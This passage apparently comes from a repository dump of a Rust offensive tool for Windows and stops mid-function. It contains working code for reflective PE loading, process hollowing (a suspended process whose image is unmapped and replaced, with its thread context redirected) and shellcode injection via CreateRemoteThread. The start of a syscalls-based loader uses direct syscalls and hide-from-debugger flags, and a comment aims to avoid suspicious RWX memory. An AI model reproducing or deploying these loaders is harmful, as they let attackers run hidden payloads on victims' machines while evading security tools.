headers : {:#x?}\", nt_head);\n\n        //Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory\n        let mut sections: Vec<IMAGE_SECTION_HEADER> =\n            vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize];\n        for i in 0..sections.len() {\n            fill_structure_from_memory(\n                &mut sections[i],\n                (base as usize\n                    + dos_head.e_lfanew as usize\n                    + std::mem::size_of_val(&nt_head) as usize\n                    + (i * std::mem::size_of::<IMAGE_SECTION_HEADER>() as usize))\n                    as *const c_void,\n                GetCurrentProcess(),\n                false,\n            );\n            log::debug!(\n                \"Virtual addresses of sections {} is {:#x?}\",\n                string_from_array(&mut sections[i].Name.to_vec()),\n                sections[i].VirtualAddress\n            );\n\n            //Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize)\n            //Write it into memory at the addr base+VA\n            let tmp: Vec<u8> = buf[sections[i].PointerToRawData as usize\n                ..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)]\n                .to_vec();\n            WriteProcessMemory(\n                GetCurrentProcess(),\n                (base as usize + sections[i].VirtualAddress as usize) as *mut c_void,\n                tmp.as_ptr() as *const c_void,\n                tmp.len(),\n                std::ptr::null_mut(),\n            );\n        }\n\n        //Retrieve the imports and fix them\n        log::debug!(\"{:?}\", nt_head.OptionalHeader);\n        if nt_head.OptionalHeader.ImportTable.Size > 0 {\n            //Data addr before loading in memory\n            let mut origin_first_thunk =\n                base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize;\n            loop {\n                //Data structure of the imported DLL\n                let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default();\n                fill_structure_from_memory(\n                    &mut image_descriptor,\n                    origin_first_thunk as *const c_void,\n                    GetCurrentProcess(),\n                    false,\n                );\n                if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {\n                    log::debug!(\"No more import\");\n                    break;\n                } else {\n                    //Retrieve the DLL name and load it by retrieving the name at this address pointed by Name\n                    let import_name = read_from_memory(\n                        (base as usize + image_descriptor.Name as usize) as *const c_void,\n                        GetCurrentProcess(),\n                        false,\n                    );\n                    let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);\n                    log::debug!(\"Import DLL name : {}\", import_name);\n\n                    //Get pointer of the first thunk of data containing the data of the first imported function\n                    let mut thunk_ptr = base as usize\n                        + image_descriptor.Characteristics_or_OriginalFirstThunk as usize;\n                    let mut i = 0;\n\n                    //Parse each thunk one by one to retrieve all the imported functions\n                    loop {\n                        let mut thunk_data = MY_IMAGE_THUNK_DATA64::default();\n                        fill_structure_from_memory(\n                            &mut thunk_data,\n                            (thunk_ptr as usize) as *const c_void,\n                            GetCurrentProcess(),\n                            false,\n                        );\n                        log::debug!(\"{:?}\", thunk_data);\n                        if thunk_data.Address == [0; 8]\n                            && u64::from_ne_bytes(thunk_data.Address.try_into().unwrap())\n                                < 0x8000000000000000\n                        {\n                            log::debug!(\"No more data\");\n                            break;\n                        } else {\n                            //For each function, retrieve its name and its addr in memory\n                            let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap());\n                            let function_name = read_from_memory(\n                                (base as usize + offset as usize + 2) as *const c_void,\n                                GetCurrentProcess(),\n                                false,\n                            );\n                            log::debug!(\"Function : {}\", function_name);\n\n                            let function_addr = i64::to_ne_bytes(\n                                GetProcAddress(\n                                    load_dll,\n                                    function_name.as_bytes().as_ptr() as *const u8,\n                                )\n                                .unwrap() as i64,\n                            );\n\n                            //Write the function and its data in memory at its addr\n                            WriteProcessMemory(\n                                GetCurrentProcess(),\n                                ((base as usize + image_descriptor.FirstThunk as usize) + i * 8)\n                                    as *mut c_void,\n                                function_addr.as_ptr() as *const c_void,\n                                function_addr.len(),\n                                std::ptr::null_mut(),\n                            );\n\n                            i += 1;\n                            thunk_ptr += 8;\n                        }\n                    }\n\n                    origin_first_thunk += std::mem::size_of::<IMAGE_IMPORT_DESCRIPTOR>();\n                }\n            }\n        }\n\n        //Fix base relocations in case of hardcoded values\n        if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 {\n            //Calculate the delta and retrieve the first relocation ptr\n            let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize;\n            let mut first_reloc_ptr =\n                base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize;\n\n            loop {\n                //Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size)\n                let mut reloc = MY_IMAGE_BASE_RELOCATION::default();\n                fill_structure_from_memory(\n                    &mut reloc,\n                    first_reloc_ptr as *const c_void,\n                    GetCurrentProcess(),\n                    false,\n                );\n\n                if reloc.SizeofBlock == 0 {\n                    log::debug!(\"No more relocation\");\n                    break;\n                } else {\n                    log::debug!(\"Size of block : {:x?}\", reloc.SizeofBlock);\n                    log::debug!(\"Virtual addr : {:x?}\", reloc.VirtualAddress);\n\n                    //For each each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA\n                    let entries = (reloc.SizeofBlock - 8) / 2;\n                    log::debug!(\"Entries : {:x?}\", entries);\n                    for i in 0..entries {\n                        let mut offset_from_page: [u8; 2] = [0; 2];\n\n                        ReadProcessMemory(\n                            GetCurrentProcess(),\n                            (first_reloc_ptr + 8 + (i * 2) as usize) as *const c_void,\n                            offset_from_page.as_mut_ptr() as *mut c_void,\n                            2,\n                            std::ptr::null_mut(),\n                        );\n\n                        log::debug!(\"Offset : {:x?}\", offset_from_page);\n                        let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap());\n\n                        //println!(\"{:x?}\",temp&0x0fff);\n\n                        if (temp >> 12) == 0xA {\n                            //Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset\n                            // 1&0=0  0&0=0\n                            let block_reloc_rva = base as usize\n                                + reloc.VirtualAddress as usize\n                                + (temp & 0x0fff) as usize;\n\n                            //Read the hardcoded values at the entry addr and translate to obtain the fixed addr\n                            let mut harcoded_value: [u8; 8] = [0; 8];\n                            ReadProcessMemory(\n                                GetCurrentProcess(),\n                                block_reloc_rva as *const c_void,\n                                harcoded_value.as_mut_ptr() as *mut c_void,\n                                8,\n                                std::ptr::null_mut(),\n                            );\n\n                            log::debug!(\"Harcoded value at RVA : {:x?}\", harcoded_value);\n                            let fixe_addr =\n                                isize::from_ne_bytes(harcoded_value.try_into().unwrap())\n                                    + delta as isize;\n\n                            log::debug!(\"{:x?}\", fixe_addr);\n                            //Write into memory\n                            WriteProcessMemory(\n                                GetCurrentProcess(),\n                                block_reloc_rva as *mut c_void,\n                                fixe_addr.to_ne_bytes().as_ptr() as *const c_void,\n                                8,\n                                std::ptr::null_mut(),\n                            );\n                        }\n                    }\n                }\n\n                first_reloc_ptr += reloc.SizeofBlock as usize;\n            }\n        }\n\n        //Change the Read/Write memory access to Read/Write/Execute\n        let mut oldprotect = 0;\n        VirtualProtectEx(GetCurrentProcess(), base, img_s, 0x40, &mut oldprotect);\n\n        let thread = CreateThread(\n            std::ptr::null_mut(),\n            0,\n            Some(transmute(\n                (base as usize + nt_head.OptionalHeader.AddressOfEntryPoint as usize)\n                    as *mut c_void,\n            )),\n            std::ptr::null_mut(),\n            0,\n            std::ptr::null_mut(),\n        );\n\n        WaitForSingleObject(thread, 10000);\n        VirtualFree(base, 0, 0x00008000);\n    }\n\n    Ok(())\n}\n\nfn get_destination_base_addr(prochandle: *mut c_void) -> usize {\n    unsafe {\n        let mut process_information: PROCESS_BASIC_INFORMATION = std::mem::zeroed();\n        let process_information_class = PROCESSINFOCLASS::default();\n        let mut return_l = 0;\n        NtQueryInformationProcess(\n            prochandle,\n            process_information_class,\n            &mut process_information as *mut _ as *mut c_void,\n            std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as u32,\n            &mut return_l,\n        );\n        let peb_image_offset = process_information.PebBaseAddress as u64 + 0x10;\n        let mut image_base_buffer = [0; std::mem::size_of::<&u8>()];\n        ReadProcessMemory(\n            prochandle,\n            peb_image_offset as *const c_void,\n            image_base_buffer.as_mut_ptr() as *mut c_void,\n            image_base_buffer.len(),\n            std::ptr::null_mut(),\n        );\n\n        log::debug!(\n            \"Image Base Addr : {:x?}\",\n            usize::from_ne_bytes(image_base_buffer)\n        );\n        return usize::from_ne_bytes(image_base_buffer);\n    }\n}\n\npub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Error>> {\n    //Retrieve the sizes of the headers and the PE image in memory\n    let header_s = get_size(&buf, \"header\");\n    let img_s = get_size(&buf, \"image\");\n    if header_s == 0 || img_s == 0 {\n        return Err(\"Error retrieving PE sizes\".into());\n    }\n\n    unsafe {\n        let pe_to_execute = pe_to_execute.trim().to_owned() + \"\\0\";\n        let mut lp_startup_info: STARTUPINFOA = std::mem::zeroed();\n        let mut lp_process_information: windows_sys::Win32::System::Threading::PROCESS_INFORMATION =\n            std::mem::zeroed();\n        CreateProcessA(\n            pe_to_execute.as_ptr() as *const u8,\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            0,\n            0x00000004,\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            &mut lp_startup_info as *mut STARTUPINFOA,\n            &mut lp_process_information\n                as *mut windows_sys::Win32::System::Threading::PROCESS_INFORMATION,\n        );\n        if GetLastError() != 0 {\n            log::debug!(\"{}\", GetLastError());\n            return Err(GetLastError().to_string().into());\n        }\n\n        let mut remote_base =\n            get_destination_base_addr(lp_process_information.hProcess) as *mut c_void;\n        let prochandle = lp_process_information.hProcess;\n        let threadhandle = lp_process_information.hThread;\n\n        //Set the memory access to Read/Write for the moment to avoid suspicious rwx\n        let base = VirtualAlloc(std::ptr::null_mut(), img_s, 0x1000, 0x04);\n        NtUnmapViewOfSection(\n            prochandle as *mut ntapi::winapi::ctypes::c_void,\n            remote_base as *mut ntapi::winapi::ctypes::c_void,\n        );\n\n        remote_base = VirtualAllocEx(prochandle, remote_base, img_s, 0x1000 + 0x2000, 0x04);\n\n        //Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header)\n        WriteProcessMemory(\n            prochandle,\n            remote_base,\n            buf.as_ptr() as *const c_void,\n            header_s,\n            std::ptr::null_mut(),\n        );\n\n        //Parsing locally\n        std::ptr::copy(buf.as_ptr() as *const u8, base as *mut u8, header_s);\n\n        let mut dos_head = IMAGE_DOS_HEADER::default();\n        fill_structure_from_memory(&mut dos_head, base, GetCurrentProcess(), false);\n\n        log::debug!(\"DOS magic header : {:x?}\", dos_head.e_magic);\n        log::debug!(\n            \"Elfa new (address of the begining of the PE): {:x?}\",\n            dos_head.e_lfanew\n        );\n\n        //Retrieve the NT headers starting at the elfa new address\n        let mut nt_head: IMAGE_nt_headS64 = IMAGE_nt_headS64::default();\n        fill_structure_from_memory(\n            &mut nt_head,\n            (base as isize + dos_head.e_lfanew as isize) as *const c_void,\n            GetCurrentProcess(),\n            false,\n        );\n\n        log::debug!(\"NT headers : {:#x?}\", nt_head);\n\n        //Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory\n        let mut sections: Vec<IMAGE_SECTION_HEADER> =\n            vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize];\n        for i in 0..sections.len() {\n            fill_structure_from_memory(\n                &mut sections[i],\n                (base as usize\n                    + dos_head.e_lfanew as usize\n                    + std::mem::size_of_val(&nt_head) as usize\n                    + (i * std::mem::size_of::<IMAGE_SECTION_HEADER>() as usize))\n                    as *const c_void,\n                GetCurrentProcess(),\n                false,\n            );\n            log::debug!(\n                \"Virtual addresses of sections {} is {:#x?}\",\n                string_from_array(&mut sections[i].Name.to_vec()),\n                sections[i].VirtualAddress\n            );\n\n            //Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize)\n            //Write it into memory at the addr base+VA\n            let tmp: Vec<u8> = buf[sections[i].PointerToRawData as usize\n                ..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)]\n                .to_vec();\n\n            WriteProcessMemory(\n                GetCurrentProcess(),\n                (base as usize + sections[i].VirtualAddress as usize) as *mut c_void,\n                tmp.as_ptr() as *const c_void,\n                sections[i].SizeOfRawData as usize,\n                std::ptr::null_mut(),\n            );\n            WriteProcessMemory(\n                prochandle,\n                (remote_base as usize + sections[i].VirtualAddress as usize) as *mut c_void,\n                tmp.as_ptr() as *const c_void,\n                sections[i].SizeOfRawData as usize,\n                std::ptr::null_mut(),\n            );\n        }\n\n        //Retrieve the imports and fix them\n        log::debug!(\"{:?}\", nt_head.OptionalHeader);\n        if nt_head.OptionalHeader.ImportTable.Size > 0 {\n            //Data addr before loading in memory\n            let mut origin_first_thunk =\n                base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize;\n            loop {\n                //Data structure of the imported DLL\n                let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default();\n                fill_structure_from_memory(\n                    &mut image_descriptor,\n                    origin_first_thunk as *const c_void,\n                    GetCurrentProcess(),\n                    false,\n                );\n                if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {\n                    log::debug!(\"No more import\");\n                    break;\n                } else {\n                    //Retrieve the DLL name and load it by retrieving the name at this address pointed by Name\n                    let import_name = read_from_memory(\n                        (base as usize + image_descriptor.Name as usize) as *const c_void,\n                        GetCurrentProcess(),\n                        false,\n                    );\n                    let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);\n                    log::debug!(\"Import DLL name : {}\", import_name);\n\n                    //Get pointer of the first thunk of data containing the data of the first imported function\n                    let mut thunk_ptr = base as usize\n                        + image_descriptor.Characteristics_or_OriginalFirstThunk as usize;\n                    let mut i = 0;\n\n                    //Parse each thunk one by one to retrieve all the imported functions\n                    loop {\n                        let mut thunk_data = MY_IMAGE_THUNK_DATA64::default();\n                        fill_structure_from_memory(\n                            &mut thunk_data,\n                            (thunk_ptr as usize) as *const c_void,\n                            GetCurrentProcess(),\n                            false,\n                        );\n                        log::debug!(\"{:x?}\", thunk_data);\n                        if thunk_data.Address == [0; 8]\n                            && u64::from_ne_bytes(thunk_data.Address.try_into().unwrap())\n                                < 0x8000000000000000\n                        {\n                            log::debug!(\"No more data\");\n                            break;\n                        } else {\n                            //For each function, retrieve its name and its addr in memory\n                            let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap());\n                            let function_name = read_from_memory(\n                                (base as usize + offset as usize + 2) as *const c_void,\n                                GetCurrentProcess(),\n                                false,\n                            );\n                            log::debug!(\"Function : {}\", function_name);\n\n                            let function_addr = i64::to_ne_bytes(\n                                GetProcAddress(\n                                    load_dll,\n                                    function_name.as_bytes().as_ptr() as *const u8,\n                                )\n                                .unwrap() as i64,\n                            );\n\n                            //Write the function and its data in memory at its addr\n                            WriteProcessMemory(\n                                GetCurrentProcess(),\n                                ((base as usize + image_descriptor.FirstThunk as usize) + i * 8)\n                                    as *mut c_void,\n                                function_addr.as_ptr() as *const c_void,\n                                function_addr.len(),\n                                std::ptr::null_mut(),\n                            );\n\n                            WriteProcessMemory(\n                                prochandle,\n                                ((remote_base as usize + image_descriptor.FirstThunk as usize)\n                                    + i * 8) as *mut c_void,\n                                function_addr.as_ptr() as *const c_void,\n                                function_addr.len(),\n                                std::ptr::null_mut(),\n                            );\n\n                            i += 1;\n                            thunk_ptr += 8;\n                        }\n                    }\n\n                    origin_first_thunk += std::mem::size_of::<IMAGE_IMPORT_DESCRIPTOR>();\n                }\n            }\n        }\n\n        //Fix base relocations in case of hardcoded values\n        if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 {\n            //Calculate the delta and retrieve the first relocation ptr\n            let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize;\n            let mut first_reloc_ptr =\n                base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize;\n\n            loop {\n                //Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size)\n                let mut reloc = MY_IMAGE_BASE_RELOCATION::default();\n                fill_structure_from_memory(\n                    &mut reloc,\n                    first_reloc_ptr as *const c_void,\n                    GetCurrentProcess(),\n                    false,\n                );\n\n                if reloc.SizeofBlock == 0 {\n                    log::debug!(\"No more relocation\");\n                    break;\n                } else {\n                    log::debug!(\"Size of block : {:x?}\", reloc.SizeofBlock);\n                    log::debug!(\"Virtual addr : {:x?}\", reloc.VirtualAddress);\n\n                    //For each each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA\n                    let entries = (reloc.SizeofBlock - 8) / 2;\n                    log::debug!(\"Entries : {:x?}\", entries);\n                    for i in 0..entries {\n                        let mut offset_from_page: [u8; 2] = [0; 2];\n\n                        ReadProcessMemory(\n                            GetCurrentProcess(),\n                            (first_reloc_ptr + 8 + (i * 2) as usize) as *const c_void,\n                            offset_from_page.as_mut_ptr() as *mut c_void,\n                            2,\n                            std::ptr::null_mut(),\n                        );\n\n                        log::debug!(\"Offset : {:x?}\", offset_from_page);\n                        let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap());\n\n                        //println!(\"{:x?}\", temp & 0x0fff);\n\n                        if (temp >> 12) == 0xA {\n                            //Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset\n                            // 1&0=0  0&0=0\n                            let block_reloc_rva = base as usize\n                                + reloc.VirtualAddress as usize\n                                + (temp & 0x0fff) as usize;\n\n                            //Read the hardcoded values at the entry addr and translate to obtain the fixed addr\n                            let mut harcoded_value: [u8; 8] = [0; 8];\n                            ReadProcessMemory(\n                                GetCurrentProcess(),\n                                block_reloc_rva as *const c_void,\n                                harcoded_value.as_mut_ptr() as *mut c_void,\n                                8,\n                                std::ptr::null_mut(),\n                            );\n\n                            log::debug!(\"Harcoded value at RVA : {:x?}\", harcoded_value);\n                            let fixe_addr =\n                                isize::from_ne_bytes(harcoded_value.try_into().unwrap())\n                                    + delta as isize;\n\n                            log::debug!(\"{:x?}\", fixe_addr);\n                            //Write into memory\n                            WriteProcessMemory(\n                                prochandle,\n                                block_reloc_rva as *mut c_void,\n                                fixe_addr.to_ne_bytes().as_ptr() as *const c_void,\n                                8,\n                                std::ptr::null_mut(),\n                            );\n                        }\n                    }\n                }\n\n                first_reloc_ptr += reloc.SizeofBlock as usize;\n            }\n        }\n\n        //Change the Read/Write memory access to Write/Execute\n        let mut oldprotect = 0;\n        VirtualProtectEx(prochandle, remote_base, img_s, 0x80, &mut oldprotect);\n\n        let mut ctx = std::mem::zeroed::<windows_sys::Win32::System::Diagnostics::Debug::CONTEXT>();\n        ctx.ContextFlags = CONTEXT_INTEGER;\n        GetThreadContext(threadhandle, &mut ctx);\n        ctx.Rcx = remote_base as u64 + nt_head.OptionalHeader.AddressOfEntryPoint as u64;\n        SetThreadContext(threadhandle, &mut ctx);\n        VirtualFree(base, 0, 0x00004000);\n        ResumeThread(threadhandle);\n\n        CloseHandle(prochandle);\n    }\n\n    Ok(())\n}\n\npub fn shellcode_loader(shellcode: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Error>> {\n    let pe_to_execute = pe_to_execute.trim().to_owned() + \"\\0\";\n    unsafe {\n        let mut lp_startup_info: STARTUPINFOA = std::mem::zeroed();\n        let mut lp_process_information: windows_sys::Win32::System::Threading::PROCESS_INFORMATION =\n            std::mem::zeroed();\n        CreateProcessA(\n            pe_to_execute.as_ptr() as *const u8,\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            0,\n            0x08000000, //No window\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            &mut lp_startup_info,\n            &mut lp_process_information,\n        );\n\n        if GetLastError() == 0 {\n            let base = VirtualAllocEx(\n                lp_process_information.hProcess,\n                std::ptr::null_mut(),\n                shellcode.len(),\n                0x00001000,\n                0x04,\n            );\n            WriteProcessMemory(\n                lp_process_information.hProcess,\n                base,\n                shellcode.as_ptr() as *const c_void,\n                shellcode.len(),\n                0 as *mut usize,\n            );\n            let mut oldprotect = 0;\n            VirtualProtectEx(\n                lp_process_information.hProcess,\n                base,\n                shellcode.len(),\n                0x20,\n                &mut oldprotect,\n            );\n            CreateRemoteThread(\n                lp_process_information.hProcess,\n                std::ptr::null_mut(),\n                0,\n                Some(transmute(base)),\n                std::ptr::null_mut(),\n                0,\n                std::ptr::null_mut(),\n            );\n\n            CloseHandle(lp_process_information.hProcess);\n        } else {\n            log::debug!(\"{}\", GetLastError());\n            return Err(GetLastError().to_string().into());\n        }\n    }\n    Ok(())\n}\n"
  },
  {
    "path": "src/loader_syscalls.rs",
    "content": "#![cfg(target_family = \"windows\")]\n\nuse crate::utils::structures::{\n    IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_SECTION_HEADER,\n    MY_IMAGE_BASE_RELOCATION, MY_IMAGE_THUNK_DATA64,\n};\nuse crate::utils::tools_windows::*;\n\nuse std::error::Error;\nuse std::ffi::{c_ulong, c_void};\nuse std::iter::once;\n\nuse ntapi::ntpsapi::{\n    PsCreateInitialState, PPS_ATTRIBUTE_LIST, PROCESSINFOCLASS, PROCESS_BASIC_INFORMATION,\n    PS_ATTRIBUTE_IMAGE_NAME, PS_ATTRIBUTE_LIST, PS_CREATE_INFO,\n    THREAD_CREATE_FLAGS_CREATE_SUSPENDED, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,\n};\nuse ntapi::ntrtl::{\n    RtlAllocateHeap, RtlCreateProcessParametersEx, RtlDestroyProcessParameters, RtlFreeHeap,\n    RtlInitUnicodeString, RtlProcessHeap, PRTL_USER_PROCESS_PARAMETERS,\n    RTL_USER_PROC_PARAMS_NORMALIZED,\n};\nuse winapi::shared::ntdef::{\n    HANDLE, NTSTATUS, NT_SUCCESS, NULL, OBJECT_ATTRIBUTES, UNICODE_STRING,\n};\nuse winapi::um::winnt::{\n    CONTEXT_INTEGER, HEAP_ZERO_MEMORY, LARGE_INTEGER, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ,\n    PAGE_READWRITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,\n};\n\nuse syscalls::syscall;\nuse windows_sys::Win32::Foundation::CloseHandle;\nuse windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};\nuse windows_sys::Win32::System::Memory::{VirtualFree, PAGE_EXECUTE_READWRITE};\nuse windows_sys::Win32::System::Threading::GetCurrentProcess;\n\npub fn reflective_loader_syscalls(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {\n    //Retrieve the sizes of the headers and the PE image in memory\n    let header_s = get_size(&buf, \"header\");\n    let mut img_s = get_size(&buf, \"image\");\n    if header_s == 0 || img_s == 0 {\n        return Err(\"Error retrieving PE sizes\".into());\n    }\n\n    unsafe {\n        let mut status: NTSTATUS;\n        let mut base = NULL;\n        status = syscall!(\n            \"NtAllocateVirtualMemory\",\n            GetCurrentProcess(),\n            &mut base,\n            0,\n            &mut img_s,\n            MEM_COMMIT | MEM_RESERVE,\n            PAGE_READWRITE\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error allocating memory: {:x}\", status);\n            return Err(status.to_string().into());\n        }\n\n        //Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header)\n        status = syscall!(\n            \"NtWriteVirtualMemory\",\n            GetCurrentProcess(),\n            base,\n            buf.as_ptr() as *mut c_void,\n            header_s,\n            NULL\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error writing PE headers into memory: {:x}\", status);\n            return Err(status.to_string().into());\n        }\n\n        let mut dos_head = IMAGE_DOS_HEADER::default();\n        fill_structure_from_array(&mut dos_head, &buf, true);\n\n        log::debug!(\"DOS magic header : {:x?}\", dos_head.e_magic);\n        log::debug!(\n            \"Elfa new (address of the begining of the PE): {:x?}\",\n            dos_head.e_lfanew\n        );\n\n        //Retrieve the NT headers starting at the elfa new address\n        let mut nt_head = IMAGE_nt_headS64::default();\n        fill_structure_from_memory(\n            &mut nt_head,\n            (base as isize + dos_head.e_lfanew as isize) as *const c_void,\n            GetCurrentProcess(),\n            true,\n        );\n\n        log::debug!(\"NT headers : {:#x?}\", nt_head);\n\n        //Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory\n        let mut sections: Vec<IMAGE_SECTION_HEADER> =\n            vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize];\n        for i in 0..sections.len() {\n            fill_structure_from_memory(\n                &mut sections[i],\n                (base as usize\n                    + dos_head.e_lfanew as usize\n                    + std::mem::size_of_val(&nt_head) as usize\n                    + (i * std::mem::size_of::<IMAGE_SECTION_HEADER>() as usize))\n                    as *const c_void,\n                GetCurrentProcess(),\n                true,\n            );\n            log::debug!(\n                \"Virtual addresses of sections {} is {:#x?}\",\n                string_from_array(&mut sections[i].Name.to_vec()),\n                sections[i].VirtualAddress\n            );\n\n            //Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize)\n            //Write it into memory at the addr base+VA\n            let tmp: Vec<u8> = buf[sections[i].PointerToRawData as usize\n                ..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)]\n                .to_vec();\n            status = syscall!(\n                \"NtWriteVirtualMemory\",\n                GetCurrentProcess(),\n                (base as usize + sections[i].VirtualAddress as usize) as *mut c_void,\n                tmp.as_ptr() as *mut c_void,\n                tmp.len(),\n                NULL\n            );\n            if !NT_SUCCESS(status) {\n                log::debug!(\"Error writing section content into memory: {:x}\", status);\n                return Err(status.to_string().into());\n            }\n        }\n\n        //Retrieve the imports and fix them\n        log::debug!(\"{:?}\", nt_head.OptionalHeader);\n        if nt_head.OptionalHeader.ImportTable.Size > 0 {\n            //Data addr before loading in memory\n            let mut origin_first_thunk =\n                base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize;\n            loop {\n                //Data structure of the imported DLL\n                let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default();\n                fill_structure_from_memory(\n                    &mut image_descriptor,\n                    origin_first_thunk as *const c_void,\n                    GetCurrentProcess(),\n                    true,\n                );\n                if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {\n                    log::debug!(\"No more import\");\n                    break;\n                } else {\n                    //Retrieve the DLL name and load it by retrieving the name at this address pointed by Name\n                    let import_name = read_from_memory(\n                        (base as usize + image_descriptor.Name as usize) as *const c_void,\n                        GetCurrentProcess(),\n                        true,\n                    );\n                    let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);\n                    log::debug!(\"Import DLL name : {}\", import_name);\n\n                    //Get pointer of the first thunk of data containing the data of the first imported function\n                    let mut thunk_ptr = base as usize\n                        + image_descriptor.Characteristics_or_OriginalFirstThunk as usize;\n                    let mut i = 0;\n\n                    //Parse each thunk one by one to retrieve all the imported functions\n                    loop {\n                        let mut thunk_data = MY_IMAGE_THUNK_DATA64::default();\n                        fill_structure_from_memory(\n                            &mut thunk_data,\n                            (thunk_ptr as usize) as *const c_void,\n                            GetCurrentProcess(),\n                            true,\n                        );\n                        log::debug!(\"{:?}\", thunk_data);\n                        if thunk_data.Address == [0; 8]\n                            && u64::from_ne_bytes(thunk_data.Address.try_into().unwrap())\n                                < 0x8000000000000000\n                        {\n                            log::debug!(\"No more data\");\n                            break;\n                        } else {\n                            //For each function, retrieve its name and its addr in memory\n                            let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap());\n                            let function_name = read_from_memory(\n                                (base as usize + offset as usize + 2) as *const c_void,\n                                GetCurrentProcess(),\n                                true,\n                            );\n                            log::debug!(\"Function : {}\", function_name);\n\n                            let function_addr = i64::to_ne_bytes(\n                                GetProcAddress(\n                                    load_dll,\n                                    function_name.as_bytes().as_ptr() as *const u8,\n                                )\n                                .unwrap() as i64,\n                            );\n\n                            //Write the function and its data in memory at its addr\n                            status = syscall!(\n                                \"NtWriteVirtualMemory\",\n                                GetCurrentProcess(),\n                                ((base as usize + image_descriptor.FirstThunk as usize) + i * 8)\n                                    as *mut c_void,\n                                function_addr.as_ptr() as *mut c_void,\n                                function_addr.len(),\n                                NULL\n                            );\n                            if !NT_SUCCESS(status) {\n                                log::debug!(\n                                    \"Error writing functions' data into memory: {:x}\",\n                                    status\n                                );\n                                return Err(status.to_string().into());\n                            }\n\n                            i += 1;\n                            thunk_ptr += 8;\n                        }\n                    }\n\n                    origin_first_thunk += std::mem::size_of::<IMAGE_IMPORT_DESCRIPTOR>();\n                }\n            }\n        }\n\n        //Fix base relocations in case of hardcoded values\n        if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 {\n            //Calculate the delta and retrieve the first relocation ptr\n            let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize;\n            let mut first_reloc_ptr =\n                base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize;\n\n            loop {\n                //Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size)\n                let mut reloc = MY_IMAGE_BASE_RELOCATION::default();\n                fill_structure_from_memory(\n                    &mut reloc,\n                    first_reloc_ptr as *const c_void,\n                    GetCurrentProcess(),\n                    true,\n                );\n\n                if reloc.SizeofBlock == 0 {\n                    log::debug!(\"No more relocation\");\n                    break;\n                } else {\n                    log::debug!(\"Size of block : {:x?}\", reloc.SizeofBlock);\n                    log::debug!(\"Virtual addr : {:x?}\", reloc.VirtualAddress);\n\n                    //For each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA\n                    let entries = (reloc.SizeofBlock - 8) / 2;\n                    log::debug!(\"Entries : {:x?}\", entries);\n                    for i in 0..entries {\n                        let mut offset_from_page: [u8; 2] = [0; 2];\n\n                        status = syscall!(\n                            \"NtReadVirtualMemory\",\n                            GetCurrentProcess(),\n                            (first_reloc_ptr + 8 + (i * 2) as usize) as *mut c_void,\n                            offset_from_page.as_mut_ptr() as *mut c_void,\n                            